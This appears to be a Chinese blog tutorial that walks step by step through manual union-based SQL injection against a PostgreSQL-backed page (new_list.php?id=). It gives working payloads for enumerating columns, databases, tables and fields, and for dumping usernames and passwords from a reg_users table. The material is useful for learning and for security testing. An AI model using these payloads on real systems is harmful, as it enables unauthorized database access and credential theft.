PostGREsql手工注入

(1)查看是否存在注⼊点...构造Payload;回显没有显示数据,代表“and 1=2”语句拼接到了后 端数据库查询语句当中...

# Payload

new_list.php?id=1 and 1=2

(2)开始猜解后端收据库能够返回多少个字段..发现order by 5的时候没有数据回显,order by 4 有回显数据,所以后端返回到前端的数据字段数为4个

# Payload

new_list.php?id=1 order by 4

new_list.php?id=1 order by 5

# 注释信息

Order by是数据库查询的时候对结果进⾏的排序,如果后⾯写的是字段,则根据查询字段进⾏排序, 但如果后⾯写的是数字,该数字⼤于所查询的字段数,则就会报错,⼩于的话就不会报错。

(3)开始检测这4个字段当中哪些字段可以被前端显示出来且使⽤union 查询来构造 Payload/...通过测试发现只有第⼆第三个字段是前端回显数据字段。

# Payload

new_list.php?id=1 and 1=2 union select 'null',null,null,null //⽆回显

new_list.php?id=1 and 1=2 union select null,'null',null,null //有回显

new_list.php?id=1 and 1=2 union select null,null,'null',null //有回显

new_list.php?id=1 and 1=2 union select null,null,null,'null' //⽆回显

(4)在这两个字段当中来查询我们想要的得到的数据。例如得到当前数据库名称和当前⽤户以 及数据库的版本...

current_database() //当前数据库

current_user //当前⽤户

version() //版本信息

# 爆所有的数据库

 new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),nu ll from pg_database

其中string_agg(datname,',')是将查询到的数据库名⽤“,”拼接起来,pg_database存储了所 有的数据库名。

(5)构造Payload爆指定数据库下的表名....

# Payload

new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','), null from pg_tables where schemaname='public'

new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),nu ll from pg_stat_user_tables where schemaname='public'

new_list.php?id=1 and 1=2 union select null,null,string_agg(table_nam e,','),null from information_schema.tables where table_schema='public'

# 注释

其中pg_tables,pg_stat_user_tables,information_schema.tables存储了所有的表名, public是⼀种模式,Postgresql 查表的限制都是public

(6)此时我们已经得到了表并开始查询字段,由于查询到的第⼆个表名带有“user”,我们就先 查询它

new_list.php?id=1 and 1=2 union select null,null,string_agg(column_nam e,','),null from information_schema.columns where table_name='reg_users'

其中information_schema.columns为⼀个存放了所有表字段的⼀张表

(7)查询到字段以后,最后⼀步就是爆出数据了且如下构造payload

new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg (password,','),null from reg_users

(8)解密并得到相对应账号密码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值